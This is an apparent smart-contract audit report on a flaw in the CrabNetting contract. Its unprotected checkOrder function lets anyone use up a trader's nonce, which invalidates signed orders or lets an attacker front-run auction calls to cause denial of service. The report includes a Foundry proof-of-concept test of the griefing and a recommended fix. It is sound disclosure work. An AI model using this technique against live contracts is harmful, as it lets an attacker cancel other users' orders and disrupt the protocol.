# `checkOrder` function can be used by a griefer to invalidate an order or cause a DoS by frontrunning the auction calls

## Summary

The `checkOrder` function can be used by an attacker or griefer to invalidate an order by consuming its nonce. It can also be used to cause a potential DoS by frontrunning the auction calls (`depositAuction` or `withdrawAuction`) and invalidating at least one of the orders present in the calldata.

## Vulnerability Detail

The function `checkOrder` present in the `CrabNetting` contract calls the internal function `_checkOrder`, which ends up calling the function `_useNonce` that will check if the nonce is still valid and "consume" it by marking it as used:

https://github.com/sherlock-audit/2022-11-opyn-romeroadrian/blob/main/crab-netting/src/CrabNetting.sol#L447

```solidity
function checkOrder(Order memory _order) external {
    return _checkOrder(_order);
}
```

https://github.com/sherlock-audit/2022-11-opyn-romeroadrian/blob/main/crab-netting/src/CrabNetting.sol#L455

```solidity
function _checkOrder(Order memory _order) internal {
    _useNonce(_order.trader, _order.nonce);
    ...
```

https://github.com/sherlock-audit/2022-11-opyn-romeroadrian/blob/main/crab-netting/src/CrabNetting.sol#L756

```solidity
function _useNonce(address _trader, uint256 _nonce) internal {
    require(!nonces[_trader][_nonce], "Nonce already used");
    nonces[_trader][_nonce] = true;
}
```

Since the `checkOrder` function is an external unprotected function, it can be used by an attacker to invalidate the order of any trader.

## Impact

In the simplest case, this issue can accidentally cause an order to be invalidated by anyone who calls the `checkOrder` to check for the validity of the order params.

In a more elaborated scenario, a griefer can use this function to invalidate any (valid) order of any trader account by simply submitting the order payload to this function. 

It can also be used to cause a DoS in the protocol, since an attacker can frontrun the transactions to the auction functions (`depositAuction` or `withdrawAuction`) and invalidate any of the orders present in the calldata using the `checkOrder` function, causing the transaction to be reverted.

## Code Snippet

The following test reproduces the issue. Here, the `mm1` account signs an order which is then invalidated by the `attacker` account which holds no relation to the `mm1` account or any privileged access to the protocol.

```solidity
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

import {BaseForkSetup} from "./BaseForkSetup.t.sol";
import {SigUtils} from "./utils/SigUtils.sol";
import {Order} from "../src/CrabNetting.sol";

contract AuditTest is BaseForkSetup {
    SigUtils sig;

    function setUp() public override {
        BaseForkSetup.setUp();
        sig = new SigUtils(netting.DOMAIN_SEPARATOR());
    }
    
    function test_CrabNetting_checkOrder_InvalidateNonceGriefing() public {
        uint256 nonce = 5;

        // nonce is not used
        assertEq(netting.nonces(mm1, nonce), false);

        Order memory order = Order(
            0, // uint256 bidId;
            mm1, // address trader;
            1e18, // uint256 quantity;
            100e18, // uint256 price;
            false, // bool isBuying;
            block.timestamp + 1 days, // uint256 expiry;
            nonce, // uint256 nonce;
            1, // uint8 v;
            0x00, // bytes32 r;
            0x00 // bytes32 s;
        );
        (uint8 v, bytes32 r, bytes32 s) = vm.sign(mm1Pk, sig.getTypedDataHash(order));
        order.v = v;
        order.r = r;
        order.s = s;

        // attacker uses checkOrder to invalidate the nonce
        address attacker = makeAddr("attacker");
        vm.prank(attacker);
        netting.checkOrder(order);

        // Now the nonce has been used and the order won't be valid anymore
        assertEq(netting.nonces(mm1, nonce), true);

        // checking the order again will fail too
        vm.expectRevert("Nonce already used");
        netting.checkOrder(order);
    }
}
```

## Tool used

Manual Review

## Recommendation

It seems the intention of this function is to provide an utility method to publicly verify an order. If so, the recommendation is to:

1. Decouple the order checking from the nonce consumption. `_checkOrder` can just verify that the nonce is not used (`require(!nonces[_trader][_nonce], "Nonce already used");`). The auction functions (`depositAuction` and `withdrawAuction`) can still call `useNonce` to properly consume the nonce of each order.
2. Remove the mutability of the `checkOrder` function by marking it as `view`. 
